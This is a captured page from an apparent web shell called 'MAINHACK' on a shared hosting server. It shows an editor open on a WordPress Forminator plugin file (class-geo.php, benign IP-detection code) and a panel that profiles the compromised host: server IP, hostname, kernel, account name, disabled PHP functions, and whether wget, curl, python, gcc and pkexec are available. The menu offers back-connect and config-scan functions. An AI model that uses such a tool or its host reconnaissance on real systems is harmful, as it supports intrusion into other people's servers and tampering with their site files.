[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-geo.php
<?php /** * Forminator Geo * * @package Forminator */ if ( ! defined( 'ABSPATH' ) ) { die(); } /** * Class Forminator_Geo * * Handle geo-location data * * @since 1.0 */ class Forminator_Geo { /** * Validates that the IP that made the request is from cloudflare * * @since 1.0 * @param string $ip - the ip to check. * * @return bool */ private static function validate_cloudflare_ip( $ip ) { $cloudflare_ips = array( '199.27.128.0/21', '173.245.48.0/20', '103.21.244.0/22', '103.22.200.0/22', '103.31.4.0/22', '141.101.64.0/18', '108.162.192.0/18', '190.93.240.0/20', '188.114.96.0/20', '197.234.240.0/22', '198.41.128.0/17', '162.158.0.0/15', '104.16.0.0/12', ); $is_cf_ip = false; foreach ( $cloudflare_ips as $cloudflare_ip ) { if ( self::cloudflare_ip_in_range( $ip, $cloudflare_ip ) ) { $is_cf_ip = true; break; } } return $is_cf_ip; } /** * Check if the cloudflare IP is in range * * @since 1.0 * @param string $ip - the current IP. * @param string $range - the allowed range of cloudflare ips. * * @return bool */ private static function cloudflare_ip_in_range( $ip, $range ) { if ( strpos( $range, '/' ) === false ) { $range .= '/32'; } // $range is in IP/CIDR format eg 127.0.0.1/24. list( $range, $netmask ) = explode( '/', $range, 2 ); $range_decimal = ip2long( $range ); $ip_decimal = ip2long( $ip ); $wildcard_decimal = pow( 2, ( 32 - $netmask ) ) - 1; $netmask_decimal = ~$wildcard_decimal; return ( ( $ip_decimal & $netmask_decimal ) === ( $range_decimal & $netmask_decimal ) ); } /** * Check if there are any cloudflare headers in the request * * @since 1.0 * @return bool */ private static function cloudflare_requests_check() { $flag = true; if ( ! isset( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) { $flag = false; } if ( ! isset( $_SERVER['HTTP_CF_IPCOUNTRY'] ) ) { $flag = false; } if ( ! isset( $_SERVER['HTTP_CF_RAY'] ) ) { $flag = false; } if ( ! isset( $_SERVER['HTTP_CF_VISITOR'] ) ) { $flag = false; } return $flag; } /** * Check if the request is from cloudflare. If it is, we get the IP * * @since 1.0 * @return bool */ private static function is_cloudflare() { $ip = ''; if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) { $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) ); } elseif ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ); } elseif ( isset( $_SERVER['REMOTE_ADDR'] ) ) { $ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ); } if ( ! empty( $ip ) ) { $request_check = self::cloudflare_requests_check(); if ( ! $request_check ) { return false; } $ip_check = self::validate_cloudflare_ip( $ip ); return $ip_check; } return false; } /** * A shorhand function to get user IP * * @since 1.0 * @return mixed|string */ public static function get_user_ip() { $client = isset( $_SERVER['HTTP_CLIENT_IP'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) ) : null; $forward = isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) : null; $is_cf = self::is_cloudflare(); // Check if request is from CloudFlare. if ( $is_cf ) { $cf_ip = isset( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) : null; // We already make sure this is set in the checks. if ( filter_var( $cf_ip, FILTER_VALIDATE_IP ) ) { return apply_filters( 'forminator_user_ip', $cf_ip ); } } else { $remote = isset( $_SERVER['REMOTE_ADDR'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) ) : null; } $client_real = isset( $_SERVER['HTTP_X_REAL_IP'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_REAL_IP'] ) ) : null; $user_ip = $remote; if ( filter_var( $client, FILTER_VALIDATE_IP ) ) { $user_ip = $client; } elseif ( filter_var( $client_real, FILTER_VALIDATE_IP ) ) { $user_ip = $client_real; } elseif ( ! empty( $forward ) ) { $forward = explode( ',', $forward ); $ip = array_shift( $forward ); $ip = trim( $ip ); if ( filter_var( $ip, FILTER_VALIDATE_IP ) ) { $user_ip = $ip; } } return apply_filters( 'forminator_user_ip', $user_ip ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154